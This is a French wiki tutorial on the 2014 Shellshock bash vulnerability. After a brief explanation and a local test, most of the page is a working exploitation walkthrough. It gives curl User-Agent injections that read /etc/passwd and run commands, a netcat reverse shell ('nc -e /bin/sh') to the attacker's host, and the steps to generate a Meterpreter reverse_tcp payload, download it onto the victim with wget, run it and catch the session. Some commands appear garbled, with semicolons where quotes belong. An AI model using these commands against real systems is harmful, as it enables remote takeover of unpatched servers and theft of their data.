**ShellShock** {{ :appsysteme:shellshock1.jpg?nolink |}} Qui n'a pas entendu parler de la faille shellshock ? **Présentation :** Shellshock, est une vulnérabilité logicielle présente dans le shell Unix bash. La vulnérabilité touche l’interpréteur en ligne de commande Bash qui est utilisé comme Shell par défaut par les systèmes d’exploitation Linux et Unix. Soit un gros paquet de monde. Elle est aussi appelée Bashdoor et a été découverte en septembre 2014. __Explication__ Bash permet de faire passer des fonctions vers le processus enfant. Les droits et contextes d'exécution sont identiques à l'utilisateur, système ou non. Le problème réside dans le fait que : De nombreux programmes utilisent le Shell par défaut pour passer des variables d'environnement entre leurs processus. Le contexte change  : ce n'est plus un utilisateur local et de confiance qui utilise cela, mais une multitude de programmes, parfois distants. Ces programmes ne valident pas eux mêmes les données qu'ils donnent à Bash, et ne font souvent que passe-plat. Dans ce contexte, ce qui était auparavant une fonctionnalité se transforme alors en faille. Voici un petite ligne de code pour voir si vous êtes vulnérable : env x='() { :;}; echo vulnérable' bash -c "echo ceci est un test" Si elle vous renvoi : "Vulnérable" C'est que vous l'êtes. source : [[http://linuxfr.org/news/une-faille-nommee-shellshock]] **Exploitation** Le principe est d'envoyer des commandes à distance dans les entêtes HTTP pour qu'elle soit interprétées par le serveur. Commençons simplement : curl -H User-Agent: () { :; }; /bin/eject; http://mon_serveur_faillible.com curl est une commande Linux permettant de forger des requêtes HTTP. L'option -H permet de personnaliser l'entête HTTP avant qu'elle soit envoyées au serveur. () { :; }; est le morceau de la commande qui permet de faire passer notre commande à la variable d'environnement /bin/eject permet d'ouvrir le lecteur cd du serveur vulnérable (je sais que c'est pas un exploit extraordinaire mais c'est un bon début. Nous avons donc une variable comme cela sur le serveur : HTTP_USER_AGENT=() { :; }; /bin/eject curl -A ;() { :;}; echo ;Content-type: text/plain; echo; /bin/ cat /etc/passwd; http://mon_serveur_faillible.com/cgi-bin/status Cette commande quant à elle aura pour effet d'afficher le contenu de /etc/passwd de la machine distante. L'option -A nous permet d’accéder au contenu de l'user-agent qui sera visible dans la requête HTTP. curl -A ;() { :;}; echo ;Content-type: text/plain; echo; /usr/bin/id ; http://mon_serveur_faillible.com/cgi-bin/status Cette commande nous donne l'identifiant du compte sur lequel on exécute les commandes. Pour prendre la main complète sur le serveur 2 options s'offrent à nous : __La première avec Netcat__ Netcat est un utilitaire permettant d'ouvrir des connexions réseau, que ce soit UDP ou TCP.Dans un terminal tapez : nc -l 333 L'option -l permet d'écouter sur le port 333 (c'est bien un L, comme listen et non I majuscule) Dans un autre terminal : curl -A ;() { :;}; /bin/nc -e /bin/sh http://mon_serveur/ 333; http://mon_serveur_faillible.com/cgi-bin/status Ouvre un session Netcat sur le port 333 et ouvre un shell une fois la session démarrée grâce à l'option -e Vous avez désormais la main sur la machine avec les droits de l'utilisateur qui gère le web. Source : [[https://www.youtube.com/watch?v=8H_bYZaXLko]] __La seconde solution avec Metasploit__ Pour cette solution nous aurons besoin du framework Metasploit et de Apache. Metasploit est framework permettant de simplifier les tests de pénétration suite aux vulnérabilités découverte. Il y a de très bon livre dessus pour ceux que ça intéresse. On va d'abord commencer par trouver un endroit où l'on peut écrire sur le serveur. curl -A ;() { :;}; echo ;Content-type: text/plain; echo; /bin/ ls -al /home/notre_user ; http://mon_serveur_faillible.com/cgi-bin/status Généralement dans le dossier personnel de l'utilisateur avec lequel on exécute les commandes. Maintenant nous allons utiliser msfpayload qui est un des outils de la suite Metasploit. Il permet de générer des payloads (exécutable qui va nous permettre dans notre cas d'établir la connexion inverse). Pour le générer : msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4443 Nous lui spécifions que nous voulons une connexion inverse en TCP sur un serveur Linux 32 Bits. LHOST : LOCAL HOST : est votre adresse ip LPORT : LOCAL PORT :  est le port sur lequel votre machine va écouter. Toutes ces informations nous les envoyons dans un fichier nommé lbdoor. Démarrer votre service apache : /etc/init.d/apache2 start Copier le fichier lbdoor dans /var/www/ Nous allons le télécharger sur le serveur vulnérable : curl -A;() { :;}; echo ;Content-type: text/plain; echo; /bin/ wget http://mon_serveur/lbdoor -P /home/notre_user ; http://mon_serveur_faillible.com/cgi-bin/status On lui ajoute les droits d’exécutions : curl -A ;() { :;}; echo ;Content-type: text/plain;; echo; /bin/chmod +x /home/notre_user/lbdoor ; http://mon_serveur_faillible.com/cgi-bin/status {{ :appsysteme:metasploit_shellshock.png?nolink |}} On ouvre Metasploit : msfconsole On sélectionne le module qui nous permettra d’écouter les connexions entrantes : use exploit/multi/handler On lui stipule quel type de connexion il doit attendre : set PAYLOAD linux/x86/meterpreter/reverse_tcp On lui stipule sur quel host il attend la connexion : set LHOST 192.168.1.1 On lui stipule sur quel port il doit attendre la connexion : set LPORT 4443 Et on exécute : run Attention il faut bien donner les mêmes informations que lorsque le payload a été généré. A cette étape vous devriez avoir cela : {{ :appsysteme:connexion_metasploit-3.png?nolink |}} Retournons sur notre premier terminal , nous allons exécuter notre payload sur le serveur vulnérable: curl -A ;() { :;}; echo ;Content-type: text/plain; echo; /bin/bash -c ;/home/notre_user/lbdoor; ; http://mon_serveur_faillible.com/cgi-bin/status Vous devriez voir ce texte apparaitre dans votre terminal metasploit si tout s'est bien passé. {{ :appsysteme:connexion_metasploit-2.png?nolink |}} Vous avez désormais accès à une session meterpreter sur la machine distante. Si vous souhaitez obtenir un terminal , il suffit de taper "shell" {{ :appsysteme:meterpreter.jpg?nolink |}} L'outil meterpreter est puissant et embarque toute une multitude de code pour le post exploitation. Pour plus d'info un site que je recommande [[http://sitedugaci.com/30/4/tutoriel/chapitre/meterpreter.html]] Source :[[ https://www.youtube.com/watch?v=R3rs8hdXqso]]